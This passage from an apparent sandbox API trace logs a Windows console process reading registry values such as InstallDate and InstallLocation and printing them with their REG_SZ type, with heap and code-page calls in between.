dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.654] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.654] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.654] GetProcessHeap () returned 0x2e0000 [0147.654] GetProcessHeap () returned 0x2e0000 [0147.654] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.654] GetProcessHeap () returned 0x2e0000 [0147.654] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.654] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.655] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.655] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.655] GetProcessHeap () returned 0x2e0000 [0147.655] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.655] GetProcessHeap () returned 0x2e0000 [0147.655] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.655] GetProcessHeap () returned 0x2e0000 [0147.655] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.655] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.655] __iob_func () returned 0x7fefd702a80 [0147.655] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.655] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.655] _fileno (_File=0x7fefd702ab0) returned 1 [0147.655] _errno () returned 0xc4bb0 [0147.655] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.655] _errno () returned 0xc4bb0 [0147.655] GetFileType (hFile=0x50) returned 0x1 [0147.655] lstrlenW (lpString=" ") returned 4 [0147.655] GetConsoleOutputCP () returned 0x1b5 [0147.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.655] GetConsoleOutputCP () returned 0x1b5 [0147.655] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.655] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.655] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.655] lstrlenW (lpString="HelpTelephone") returned 13 [0147.655] __iob_func () returned 0x7fefd702a80 [0147.656] _fileno (_File=0x7fefd702ab0) returned 1 [0147.656] _errno () returned 0xc4bb0 [0147.656] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.656] _errno () returned 0xc4bb0 [0147.656] GetFileType (hFile=0x50) returned 0x1 [0147.656] lstrlenW (lpString="HelpTelephone") returned 13 [0147.656] GetConsoleOutputCP () returned 0x1b5 [0147.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.656] GetConsoleOutputCP () returned 0x1b5 [0147.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0147.656] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.656] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.656] __iob_func () returned 0x7fefd702a80 [0147.656] _fileno (_File=0x7fefd702ab0) returned 1 [0147.656] _errno () returned 0xc4bb0 [0147.656] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.656] _errno () returned 0xc4bb0 [0147.656] GetFileType (hFile=0x50) returned 0x1 [0147.656] lstrlenW (lpString=" ") returned 4 [0147.656] GetConsoleOutputCP () returned 0x1b5 [0147.656] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.656] GetConsoleOutputCP () returned 0x1b5 [0147.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.657] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.657] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.657] __iob_func () returned 0x7fefd702a80 [0147.657] _fileno (_File=0x7fefd702ab0) returned 1 [0147.657] _errno () returned 0xc4bb0 [0147.657] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.657] _errno () returned 0xc4bb0 [0147.657] GetFileType (hFile=0x50) returned 0x1 [0147.657] lstrlenW (lpString="REG_SZ") returned 6 [0147.657] GetConsoleOutputCP () returned 0x1b5 [0147.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.657] GetConsoleOutputCP () returned 0x1b5 [0147.657] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.657] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.657] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.657] __iob_func () returned 0x7fefd702a80 [0147.657] _fileno (_File=0x7fefd702ab0) returned 1 [0147.657] _errno () returned 0xc4bb0 [0147.657] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.657] _errno () returned 0xc4bb0 [0147.657] GetFileType (hFile=0x50) returned 0x1 [0147.657] lstrlenW (lpString=" ") returned 4 [0147.657] GetConsoleOutputCP () returned 0x1b5 [0147.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.658] GetConsoleOutputCP () returned 0x1b5 [0147.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.658] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.658] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.658] __iob_func () returned 0x7fefd702a80 [0147.658] _fileno (_File=0x7fefd702ab0) returned 1 [0147.658] _errno () returned 0xc4bb0 [0147.658] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.658] _errno () returned 0xc4bb0 [0147.658] GetFileType (hFile=0x50) returned 0x1 [0147.658] lstrlenW (lpString="") returned 0 [0147.658] __iob_func () returned 0x7fefd702a80 [0147.658] _fileno (_File=0x7fefd702ab0) returned 1 [0147.658] _errno () returned 0xc4bb0 [0147.658] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.658] _errno () returned 0xc4bb0 [0147.658] GetFileType (hFile=0x50) returned 0x1 [0147.658] lstrlenW (lpString="\n") returned 1 [0147.658] GetConsoleOutputCP () returned 0x1b5 [0147.658] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.658] GetConsoleOutputCP () returned 0x1b5 [0147.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.659] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.659] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.659] GetProcessHeap () returned 0x2e0000 [0147.659] GetProcessHeap () returned 0x2e0000 [0147.659] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.659] GetProcessHeap () returned 0x2e0000 [0147.659] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.659] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.659] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.659] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x14) returned 0x0 [0147.659] GetProcessHeap () returned 0x2e0000 [0147.659] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x16) returned 0x2fd1a0 [0147.659] GetProcessHeap () returned 0x2e0000 [0147.659] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.659] GetProcessHeap () returned 0x2e0000 [0147.659] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.659] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd1a0, pcbData=0x23f670*=0x14 | out: pdwType=0x23f5f0*=0x1, pvData="20170927", pcbData=0x23f670*=0x12) returned 0x0 [0147.659] __iob_func () returned 0x7fefd702a80 [0147.659] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.659] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.659] _fileno (_File=0x7fefd702ab0) returned 1 [0147.659] _errno () returned 0xc4bb0 [0147.659] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.659] _errno () returned 0xc4bb0 [0147.659] GetFileType (hFile=0x50) returned 0x1 [0147.659] lstrlenW (lpString=" ") returned 4 [0147.659] GetConsoleOutputCP () returned 0x1b5 [0147.659] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.660] GetConsoleOutputCP () returned 0x1b5 [0147.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.660] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.660] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.660] lstrlenW (lpString="InstallDate") returned 11 [0147.660] __iob_func () returned 0x7fefd702a80 [0147.660] _fileno (_File=0x7fefd702ab0) returned 1 [0147.660] _errno () returned 0xc4bb0 [0147.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.660] _errno () returned 0xc4bb0 [0147.660] GetFileType (hFile=0x50) returned 0x1 [0147.660] lstrlenW (lpString="InstallDate") returned 11 [0147.660] GetConsoleOutputCP () returned 0x1b5 [0147.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.660] GetConsoleOutputCP () returned 0x1b5 [0147.660] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0147.660] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.660] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.660] __iob_func () returned 0x7fefd702a80 [0147.660] _fileno (_File=0x7fefd702ab0) returned 1 [0147.660] _errno () returned 0xc4bb0 [0147.660] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.660] _errno () returned 0xc4bb0 [0147.661] GetFileType (hFile=0x50) returned 0x1 [0147.661] lstrlenW (lpString=" ") returned 4 [0147.661] GetConsoleOutputCP () returned 0x1b5 [0147.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.661] GetConsoleOutputCP () returned 0x1b5 [0147.661] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.661] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.661] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.661] __iob_func () returned 0x7fefd702a80 [0147.661] _fileno (_File=0x7fefd702ab0) returned 1 [0147.661] _errno () returned 0xc4bb0 [0147.661] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.661] _errno () returned 0xc4bb0 [0147.661] GetFileType (hFile=0x50) returned 0x1 [0147.661] lstrlenW (lpString="REG_SZ") returned 6 [0147.661] GetConsoleOutputCP () returned 0x1b5 [0147.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.662] GetConsoleOutputCP () returned 0x1b5 [0147.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.662] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.662] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.662] __iob_func () returned 0x7fefd702a80 [0147.662] _fileno (_File=0x7fefd702ab0) returned 1 [0147.662] _errno () returned 0xc4bb0 [0147.662] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.662] _errno () returned 0xc4bb0 [0147.662] GetFileType (hFile=0x50) returned 0x1 [0147.662] lstrlenW (lpString=" ") returned 4 [0147.662] GetConsoleOutputCP () returned 0x1b5 [0147.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.662] GetConsoleOutputCP () returned 0x1b5 [0147.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.663] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.663] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.663] __iob_func () returned 0x7fefd702a80 [0147.663] _fileno (_File=0x7fefd702ab0) returned 1 [0147.663] _errno () returned 0xc4bb0 [0147.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.663] _errno () returned 0xc4bb0 [0147.663] GetFileType (hFile=0x50) returned 0x1 [0147.663] lstrlenW (lpString="20170927") returned 8 [0147.663] GetConsoleOutputCP () returned 0x1b5 [0147.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170927", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.663] GetConsoleOutputCP () returned 0x1b5 [0147.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170927", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170927", lpUsedDefaultChar=0x0) returned 8 [0147.663] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.663] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.663] __iob_func () returned 0x7fefd702a80 [0147.663] _fileno (_File=0x7fefd702ab0) returned 1 [0147.663] _errno () returned 0xc4bb0 [0147.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.663] _errno () returned 0xc4bb0 [0147.663] GetFileType (hFile=0x50) returned 0x1 [0147.663] lstrlenW (lpString="\n") returned 1 [0147.663] GetConsoleOutputCP () returned 0x1b5 [0147.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.664] GetConsoleOutputCP () returned 0x1b5 [0147.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.664] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.664] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.664] GetProcessHeap () returned 0x2e0000 [0147.664] GetProcessHeap () returned 0x2e0000 [0147.664] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.664] GetProcessHeap () returned 0x2e0000 [0147.664] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.664] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0147.664] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.664] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.664] GetProcessHeap () returned 0x2e0000 [0147.664] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.664] GetProcessHeap () returned 0x2e0000 [0147.664] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.664] GetProcessHeap () returned 0x2e0000 [0147.664] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.664] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.664] __iob_func () returned 0x7fefd702a80 [0147.664] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.664] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.664] _fileno (_File=0x7fefd702ab0) returned 1 [0147.664] _errno () returned 0xc4bb0 [0147.664] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.664] _errno () returned 0xc4bb0 [0147.664] GetFileType (hFile=0x50) returned 0x1 [0147.665] lstrlenW (lpString=" ") returned 4 [0147.665] GetConsoleOutputCP () returned 0x1b5 [0147.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.665] GetConsoleOutputCP () returned 0x1b5 [0147.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.665] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.665] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.665] lstrlenW (lpString="InstallLocation") returned 15 [0147.665] __iob_func () returned 0x7fefd702a80 [0147.665] _fileno (_File=0x7fefd702ab0) returned 1 [0147.665] _errno () returned 0xc4bb0 [0147.665] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.665] _errno () returned 0xc4bb0 [0147.665] GetFileType (hFile=0x50) returned 0x1 [0147.665] lstrlenW (lpString="InstallLocation") returned 15 [0147.665] GetConsoleOutputCP () returned 0x1b5 [0147.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.665] GetConsoleOutputCP () returned 0x1b5 [0147.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.665] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.666] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.666] __iob_func () returned 0x7fefd702a80 [0147.666] _fileno (_File=0x7fefd702ab0) returned 1 [0147.666] _errno () returned 0xc4bb0 [0147.666] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.666] _errno () returned 0xc4bb0 [0147.666] GetFileType (hFile=0x50) returned 0x1 [0147.666] lstrlenW (lpString=" ") returned 4 [0147.666] GetConsoleOutputCP () returned 0x1b5 [0147.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.666] GetConsoleOutputCP () returned 0x1b5 [0147.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.666] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.666] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.666] __iob_func () returned 0x7fefd702a80 [0147.666] _fileno (_File=0x7fefd702ab0) returned 1 [0147.666] _errno () returned 0xc4bb0 [0147.666] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.666] _errno () returned 0xc4bb0 [0147.666] GetFileType (hFile=0x50) returned 0x1 [0147.666] lstrlenW (lpString="REG_SZ") returned 6 [0147.666] GetConsoleOutputCP () returned 0x1b5 [0147.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.667] GetConsoleOutputCP () returned 0x1b5 [0147.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.667] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.667] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.667] __iob_func () returned 0x7fefd702a80 [0147.667] _fileno (_File=0x7fefd702ab0) returned 1 [0147.667] _errno () returned 0xc4bb0 [0147.667] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.667] _errno () returned 0xc4bb0 [0147.667] GetFileType 